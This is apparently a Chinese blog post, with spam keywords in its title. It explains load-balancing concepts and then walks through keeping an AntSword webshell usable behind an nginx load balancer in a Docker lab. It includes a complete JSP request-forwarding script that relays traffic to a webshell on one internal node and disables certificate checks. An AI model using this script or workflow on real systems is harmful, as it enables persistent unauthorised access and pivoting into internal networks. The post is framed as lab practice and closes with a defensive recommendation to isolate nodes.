西宁做网站_君博相约,网站建设入门教学,站长工具排行榜,交通银行网站开发目录 一、什么是负载均衡
分类
负载均衡算法
分类介绍
分类
均衡技术
主要应用
安装docker-compose
2.1上传的文件丢失
2.2 命令执行时的漂移
2.3 大工具投放失败
2.4 内网穿透工具失效
3.一些解决方案
总结 一、什么是负载均衡
负载均衡#xff08;Load Balanc…目录 一、什么是负载均衡
分类
负载均衡算法
分类介绍
分类
均衡技术
主要应用
安装docker-compose
2.1上传的文件丢失
2.2 命令执行时的漂移
2.3 大工具投放失败
2.4 内网穿透工具失效
3.一些解决方案
总结 一、什么是负载均衡
负载均衡Load Balance其含义就是指将负载工作任务进行平衡、分摊到多个操作单元上进行运行例如FTP服务器、Web服务器、企业核心应用服务器和其它主要任务服务器等从而协同完成工作任务。
负载均衡构建在原有网络结构之上它提供了一种透明且廉价有效的方法扩展服务器和网络设备的带宽、加强网络数据处理能力、增加吞吐量、提高网络的可用性和灵活性
分类
1、软/硬件负载均衡
软件负载均衡解决方案是指在一台或多台服务器相应的操作系统上安装一个或多个附加软件来实现负载均衡如DNS Load BalanceCheckPoint Firewall-1 ConnectControl等它的优点是基于特定环境配置简单使用灵活成本低廉可以满足一般的负载均衡需求。
软件解决方案缺点也较多因为每台服务器上安装额外的软件运行会消耗系统不定量的资源越是功能强大的模块消耗得越多所以当连接请求特别大的时候软件本身会成为服务器工作成败的一个关键软件可扩展性并不是很好受到操作系统的限制由于操作系统本身的Bug往往会引起安全问题。
硬件负载均衡解决方案是直接在服务器和外部网络间安装负载均衡设备这种设备通常称之为负载均衡器由于专门的设备完成专门的任务独立于操作系统整体性能得到大量提高加上多样化的负载均衡策略智能化的流量管理可达到最佳的负载均衡需求。
负载均衡器有多种多样的形式除了作为独立意义上的负载均衡器外有些负载均衡器集成在交换设备中置于服务器与Internet链接之间有些则以两块网络适配器将这一功能集成到PC中一块连接到Internet上一块连接到后端服务器群的内部网络上。一般而言硬件负载均衡在功能、性能上优于软件方式不过成本昂贵。
2、本地/全局负载均衡
负载均衡从其应用的地理结构上分为本地负载均衡(Local Load Balance)和全局负载均衡(Global Load Balance也叫地域负载均衡)本地负载均衡针对本地范围的服务器群做负载均衡全局负载均衡针对不同地理位置、不同网络结构的服务器群做负载均衡。
本地负载均衡不需要花费高额成本购置高性能服务器只需利用现有设备资源,就可有效避免服务器单点故障造成数据流量的损失通常用来解决数据流量过大、网络负荷过重的问题。同时它拥有形式多样的均衡策略把数据流量合理均衡的分配到各台服务器。如果需要在现在服务器上升级扩充不需改变现有网络结构、停止现有服务仅需要在服务群中简单地添加一台新服务器。
全局负载均衡主要解决全球用户只需一个域名或IP地址就能访问到离自己距离最近的服务器获得最快的访问速度它在多区域都拥有自己的服务器站点同时也适用于那些子公司站点分布广的大型公司通过企业内部网(Intranet)达到资源合理分配的需求。
全局负载均衡具备的特点
1、提高服务器响应速度解决网络拥塞问题达到高质量的网络访问效果。
2、能够远距离为用户提供完全的透明服务,真正实现与地理位置无关性
3、能够避免各种单点失效既包括数据中心、服务器等的单点失效也包括专线故障引起的单点失效。 [1] 负载均衡算法 分类介绍
现有的负载均衡算法主要分为静态和动态两类。静态负载均衡算法以固定的概率分配任务不考虑服务器的状态信息如轮转算法、加权轮转算法等动态负载均衡算法以服务器的实时负载状态信息来决定任务的分配如最小连接法、加权最小连接法等。 [2] 分类
1、轮询法
轮询法就是将用户的请求轮流分配给服务器就像是挨个数数轮流分配。这种算法比较简单他具有绝对均衡的优点但是也正是因为绝对均衡它必须付出很大的代价例如它无法保证分配任务的合理性无法根据服务器承受能力来分配任务。
2、随机法
随机法是随机选择一台服务器来分配任务。它保证了请求的分散性达到了均衡的目的。同时它是没有状态的不需要维持上次的选择状态和均衡因子[5]。但是随着任务量的增大它的效果趋向轮询后也会具有轮询算法的部分缺点。
3、最小连接法
最小连接法将任务分配给此时具有最小连接数的节点因此它是动态负载均衡算法。一个节点收到一个任务后连接数就会加1当节点故障时就将节点权值设置为0不再给节点分配任务。
最小连接法适用于各个节点处理的性能相似时。任务分发单元会将任务平滑分配给服务器。但当服务器性能差距较大时就无法达到预期的效果。因为此时连接数并不能准确表明处理能力连接数小而自身性能很差的服务器可能不及连接数大而自身性能极好的服务器。所以在这个时候就会导致任务无法准确的分配到剩余处理能力强的机器上。 [2] 均衡技术
常见的软件负载均衡技术有以下几种:
1、基于DNS的负载均衡 由于在DNS服务器中可以为多个不同的地址配置相同的名字最终查询这个名字的客户机将在解析这个名字时得到其中一个地址所以这种代理方式是通过DNS服务中的随机名字解析域名和IP来实现负载均衡。
2、反向代理负载均衡如ApacheJK2Tomcat这种组合
该种代理方式与普通的代理方式不同标准代理方式是客户使用代理访问多个外部Web服务器之所以被称为反向代理模式是因为这种代理方式是多个客户使用它访问内部Web服务器而非访问外部服务器。
3、基于NATNetwork Address Translation的负载均衡技术如Linux VirtualServer简称LVS
该技术通过一个地址转换网关将每个外部连接均匀转换为不同的内部服务器地址因此外部网络中的计算机就各自与自己转换得到的地址上的服务器进行通信从而达到负载均衡的目的。其中网络地址转换网关位于外部地址和内部地址之间不仅可以实现当外部客户机访问转换网关的某一外部地址时可以转发到某一映射的内部的地址上还可使内部地址的计算机能访问外部网络。 [1] 主要应用
1、DNS负载均衡 最早的负载均衡技术是通过DNS来实现的在DNS中为多个地址配置同一个名字因而查询这个名字的客户机将得到其中一个地址从而使得不同的客户访问不同的服务器达到负载均衡的目的。DNS负载均衡是一种简单而有效的方法但是它不能区分服务器的差异也不能反映服务器的当前运行状态。
2、代理服务器负载均衡 使用代理服务器可以将请求转发给内部的服务器使用这种加速模式显然可以提升静态网页的访问速度。然而也可以考虑这样一种技术使用代理服务器将请求均匀转发给多台服务器从而达到负载均衡的目的。
3、地址转换网关负载均衡 支持负载均衡的地址转换网关可以将一个外部IP地址映射为多个内部IP地址对每次TCP连接请求动态使用其中一个内部地址达到负载均衡的目的。
4、协议内部支持负载均衡除了这三种负载均衡方式之外有的协议内部支持与负载均衡相关的功能例如HTTP协议中的重定向能力等HTTP运行于TCP连接的最高层。
5、NAT负载均衡NATNetwork Address Translation网络地址转换简单地说就是将一个IP地址转换为另一个IP地址一般用于未经注册的内部地址与合法的、已获注册的Internet IP地址间进行转换。适用于解决Internet IP地址紧张、不想让网络外部知道内部网络结构等的场合下。
6、反向代理负载均衡普通代理方式是代理内部网络用户访问internet上服务器的连接请求客户端必须指定代理服务器并将本来要直接发送到internet上服务器的连接请求发送给代理服务器处理。反向代理Reverse Proxy方式是指以代理服务器来接受internet上的连接请求然后将请求转发给内部网络上的服务器并将从服务器上得到的结果返回给internet上请求连接的客户端此时代理服务器对外就表现为一个服务器。反向代理负载均衡技术是把将来自internet上的连接请求以反向代理的方式动态地转发给内部网络上的多台服务器进行处理从而达到负载均衡的目的。
7、混合型负载均衡在有些大型网络由于多个服务器群内硬件设备、各自的规模、提供的服务等的差异可以考虑给每个服务器群采用最合适的负载均衡方式然后又在这多个服务器群间再一次负载均衡或群集起来以一个整体向外界提供服务即把这多个服务器群当做一个新的服务器群从而达到最佳的性能。将这种方式称之为混合型负载均衡。此种方式有时也用于单台均衡设备的性能不能满足大量连接请求的情况下。 可以看到支持的负载均衡模式很多。问题是否可以确定地访问某一台固定的服务器。
为什么这样说呢因为在渗透测试的过程中有一个比较固定的思维就是所有的攻击都围绕着拿到webshell获取服务器权限而进行。不管是漏洞利用也好暴力破解也罢。都是为了拿到webshell提权渗透内网。整体的流程就是这样但是一旦遇到负载均衡隐藏掉后端真实服务器IP后就会出现一大堆的问题无法解决。本文就是要理清楚这样一种环境下上传webshell的思路。
面临的困难总体来说面临着四个难点webshell文件上传命令执行工具投放内网渗透做隧道。我们以默认的「轮询」方式来做演示。演示的环境已经上传至 AntSword-Labs 下面我们用蚁剑作者提供的docker镜像来演示遇到的问题。
https://github.com/AntSwordProject/AntSword-Labs 我的机子上已经安装了docker没有的首先要安装docker环境来运行
┌──(root?kali)-[/home/ant/loadbalance/loadbalance-jsp]
└─# apt-get install docker.io 下载后上传至服务器进行解压到指定目录下启动环境我给AntSword-Labs改了名字为ant,好记自己根据情况定 这里边有个docker-compose,这个可以帮助我们一次下载多个镜像一步到位不然我们搭建环境要一步一步下载很麻烦这里的docker-compose.yml是可以执行这个程序但是最新版的docker自带docker-compose,不是最新的没有需要我们手动下载安装一个 安装docker-compose
https://github.com/docker/compose/releases/tag/v2.24.5 下载之后上传到虚拟机上转移到/usr/bin/
┌──(root?kali)-[/home/ant/loadbalance/loadbalance-jsp]
└─# mv docker-compose-linux-x86_64 /usr/bin/添加可执行权限
┌──(root㉿kali)-[/home/ant/loadbalance/loadbalance-jsp]
└─# chmod x /usr/bin/docker-compose-linux-x86_64
之后就可以使用docker-compose啦
现在我们就可以拉取镜像了
┌──(root㉿kali)-[/home/ant/loadbalance/loadbalance-jsp]
└─# docker-compose up -d
为了方便解释我们只用两个节点启动之后看到有 3 个容器你想像成有 3 台服务器就成。
┌──(root㉿kali)-[/home/ant/loadbalance/loadbalance-jsp]
└─# docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
b85b3937a8fa nginx:1.17 nginx -g daemon of… 2 days ago Up 34 seconds 0.0.0.0:18080-80/tcp, :::18080-80/tcp loadbalance-jsp-nginx-1
34438aeb84ec loadbalance-jsp-lbsnode2 catalina.sh run 2 days ago Up 34 seconds 8080/tcp loadbalance-jsp-lbsnode2-1
9ed2a7929dda loadbalance-jsp-lbsnode1 catalina.sh run 2 days ago Up 34 seconds 8080/tcp loadbalance-jsp-lbsnode1-1现在整个架构长这个样子 nginx的80端口被映射到主机的18080端口之上访问http://192.168.2.169:18080 就可以访问到我们的web服务了。Node1 和 Node2 均是 tomcat 8 在内网中开放了 8080 端口我们在外部是没法直接访问到的。 场景描述 OK我们假定在真实的业务系统上存在一个 RCE 漏洞可以让我们获取 WebShell。
┌──(root㉿kali)-[/home/ant/loadbalance/loadbalance-jsp]
└─# docker exec loadbalance-jsp-lbsnode1-1 bash -c ls -al webapps/ROOT/ant.jsp-rw-r--r-- 1 root root 316 May 17 2021 webapps/ROOT/ant.jsp┌──(root㉿kali)-[/home/ant/loadbalance/loadbalance-jsp]
└─# docker exec loadbalance-jsp-lbsnode2-1 bash -c ls -al webapps/ROOT/ant.jsp
-rw-r--r-- 1 root root 316 May 17 2021 webapps/ROOT/ant.jsp 这里已经利用漏洞将webshell上传ok我们可以看到这个文件 此时打开蚁剑我们尝试连接先前在node12上均插入了的webshell 完了点击添加就正式连接到我们的webshell了。
蚁剑下载 2.1上传的文件丢失
难点一我们需要在每一台节点的相同位置都上传相同内容的 WebShell
一旦有一台机器上没有那么在请求轮到这台机器上的时候就会出现 404 错误影响使用。是的这就是你出现一会儿正常一会儿错误的原因 显示已经上传成功但是我们刷新一下目录就会发现有时候能看见我们的文件有时候找不到我们的东西 证明我们的文件在一台服务器上没有上传上去
2.2 命令执行时的漂移
难点二对你没听错在这样的环境下我们发出去的webshell执行命令时会发生严重的漂移现象。你永远不知道命令在哪台服务器上执行。 假设我们解决了第一个难点webshell均匀的出现在了后端节点服务器上。 到命令执行界面尝试执行命令 执行查看IP地址的命令 看到了没这还是轮询状态下的IP变化一旦是权重模式再加上多台节点服务器。这个地址将变得无迹可寻。
2.3 大工具投放失败 当我们解决了上面两个难点想要进一步渗透时此时投放一些工具是很必要的工作。但是碍于 antSword 上传文件时采用的分片上传方式。把一个文件分成了多次HTTP请求发送给了目标所以尴尬的事情来了两台节点上各一半而且这一半到底是怎么组合的取决于 LBS 算法。也就是说我们的工具一旦大于这个最小分片大小。就会被拆分成碎片传递给节点服务器。
2.4 内网穿透工具失效 由于目标机器不能出外网想进一步深入只能使用 reGeorg/HTTPAbs 等 HTTP Tunnel可在这个场景下这些 tunnel 脚本全部都失灵了因为我们的节点服务器会不断变化这就导致攻击者和部署了regeorg的主机之间无法保持完整的连接很长时间。即使每个节点主机上同时搭载这样的软件。与攻击者的连接仍然混乱不堪。无法稳定的代理内网的流量到攻击者手上。所以这样的环境下要进行内网工具的部署同样是一个极大的难点。
3.一些解决方案 要解决第一个难点其实比较简单就一个词重复疯狂上传多次webshell肯定可以上传到所有的节点服务器上去。接下来我们得想办法解决剩下的难点。
3.1 关机 这个方案虽然看着是个方法但是实际环境中先不说权限够不够。就是够这样的操作也是十分危险的。虽然关闭节点服务器后节点服务器会被踢出nginx代理池内部。最终可以做到每次请求都落到同一台服务器上。但是暴露风险大还要承担相应的法律责任。故不建议使用这种方法。
3.2 基于IP判断执行主机 要是在每一次执行命令前可以判断以下主机的IP地址那不就可以解决命令漂移问题了嘛。
#执行命令前进行ip判断注意执行的命令写到then后else前即可。
if [ hostname -i 172.19.0.2 ]; thenecho node1 i will execute command.\n\n; hostname -i
else echo other.tryagainfi这样一来确实是能够保证执行的命令是在我们想要的机器上了可是这样执行命令不够丝滑。甚至其在蚁剑的中断内运行会出问题。在真机上测试正常。
这样的方案确实很麻烦并且并不能解决我们内网穿透的需求所以不推荐使用。
3.3 脚本实现web层的流量转发 没错我们用 AntSword 没法直接访问 LBSNode1 内网IP(172.23.0.2)的 8080 端口但是有人能访问呀除了 nginx 能访问之外LBSNode2 这台机器也是可以访问 Node1 这台机器的 8080 端口的。也就是说我们写入一个脚本判断流量的目的地址不是node1的话将流量中转给node1的ant.jsp即可。如此一来就可以建立攻击者和node1的稳定连接了。 这是原作者的一张图我们分析以下请求。 第 1 步我们请求 /antproxy.jsp这个请求发给 nginx
nginx 接到数据包之后会有两种情况
我们先看黑色线第 2 步把请求传递给了目标机器请求了 Node1 机器上的 /antproxy.jsp接着 第 3 步/antproxy.jsp 把请求重组之后传给了 Node1 机器上的 /ant.jsp成功执行。
再来看红色线第 2 步把请求传给了 Node2 机器, 接着第 3 步Node2 机器上面的 /antproxy.jsp 把请求重组之后传给了 Node1 的 /ant.jsp成功执行。
如此一来就可以保证我们始终可以连接到节点1的ant.jsp文件建立稳定通信了。说干就干。
这是转发脚本
% page contentTypetext/html;charsetUTF-8 languagejava %
% page importjavax.net.ssl.* %
% page importjava.io.ByteArrayOutputStream %
% page importjava.io.DataInputStream %
% page importjava.io.InputStream %
% page importjava.io.OutputStream %
% page importjava.net.HttpURLConnection %
% page importjava.net.URL %
% page importjava.security.KeyManagementException %
% page importjava.security.NoSuchAlgorithmException %
% page importjava.security.cert.CertificateException %
% page importjava.security.cert.X509Certificate %
%!public static void ignoreSsl() throws Exception {HostnameVerifier hv new HostnameVerifier() {public boolean verify(String urlHostName, SSLSession session) {return true;}};trustAllHttpsCertificates();HttpsURLConnection.setDefaultHostnameVerifier(hv);}private static void trustAllHttpsCertificates() throws Exception {TrustManager[] trustAllCerts new TrustManager[] { new X509TrustManager() {public X509Certificate[] getAcceptedIssuers() {return null;}Overridepublic void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {// Not implemented}Overridepublic void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {// Not implemented}} };try {SSLContext sc SSLContext.getInstance(TLS);sc.init(null, trustAllCerts, new java.security.SecureRandom());HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());} catch (KeyManagementException e) {e.printStackTrace();} catch (NoSuchAlgorithmException e) {e.printStackTrace();}}
%
% //注意这里的地址一定修改正确不同的环境内部使用的地址不一定一样String target http://172.19.0.2:8080/ant.jsp;URL url new URL(target);if (https.equalsIgnoreCase(url.getProtocol())) {ignoreSsl();}HttpURLConnection conn (HttpURLConnection)url.openConnection();StringBuilder sb new StringBuilder();conn.setRequestMethod(request.getMethod());conn.setConnectTimeout(30000);conn.setDoOutput(true);conn.setDoInput(true);conn.setInstanceFollowRedirects(false);conn.connect();ByteArrayOutputStream baosnew ByteArrayOutputStream();OutputStream out2 conn.getOutputStream();DataInputStream innew DataInputStream(request.getInputStream());byte[] buf new byte[1024];int len 0;while ((len in.read(buf)) ! -1) {baos.write(buf, 0, len);}baos.flush();baos.writeTo(out2);baos.close();InputStream inputStream conn.getInputStream();OutputStream out3response.getOutputStream();int len2 0;while ((len2 inputStream.read(buf)) ! -1) {out3.write(buf, 0, len2);}out3.flush();out3.close();
%
3.3.1 创建antproxy.jsp脚本 修改转发地址转向目标 Node 的 内网IP的 目标脚本 访问地址。 注意:
a) 不要使用上传功能上传功能会分片上传导致分散在不同 Node 上。
b) 要保证每一台 Node 上都有相同路径的 antproxy.jsp, 所以我疯狂保存了很多次保证每一台都上传了脚本
3.3.2 修改 Shell 配置 将 URL 部分填写为 antproxy.jsp 的地址其它配置不变 查看IP地址是否会继续漂移 可以看到 IP 已经固定, 意味着请求已经固定到了 LBSNode1 这台机器上了。此时使用分片上传、HTTP 代理都已经跟单机的情况没什么区别了。Node1 和 Node2 交叉着访问 Node1 的 /ant.jsp 文件符合 nginx 此时的 LBS 策略。
总结
优点 低权限就可以完成如果权限高的话还可以通过端口层面直接转发不过这跟 Plan A 的关服务就没啥区别了 流量上只影响访问 WebShell 的请求其它的正常业务请求不会影响。 适配更多工具
缺点 该方案需要「目标 Node」和「其它 Node」 之间内网互通如果不互通就凉了
对于这一问题的思考也是有迹可循的。首先作为负载均衡相较于普通的服务结构其特点就是隐藏了真实服务的节点服务器。
之前我们上传webshell可以拆分为上传木马文件执行命令获取相关漏洞信息工具投放以提升权限获取密码部署穿透工具尝试攻击内网。
那么照着这个思路进行分析就行上传木马文件那必须要雨露均沾既然一次上传会出现漂移那就多传几次。第二个问题命令漂移这个可以通过判断IP的方式勉强解决其实还有更好的解决方案。第三和第四个问题就必须借助流量转发脚本实现节点服务器的IP地址固定。如此一来就可以彻底消除负载均衡的影响一切如同正常的webshell上传环境。
那么解决方案三其实有一个很致命的问题一旦内网节点服务器之间不互通彻底失效。也就是说我们从安全角度出发实现了负载均衡之后无特殊要求的话应尽量在节点服务器之间实现网络层的通信阻断。这样才能万无一失。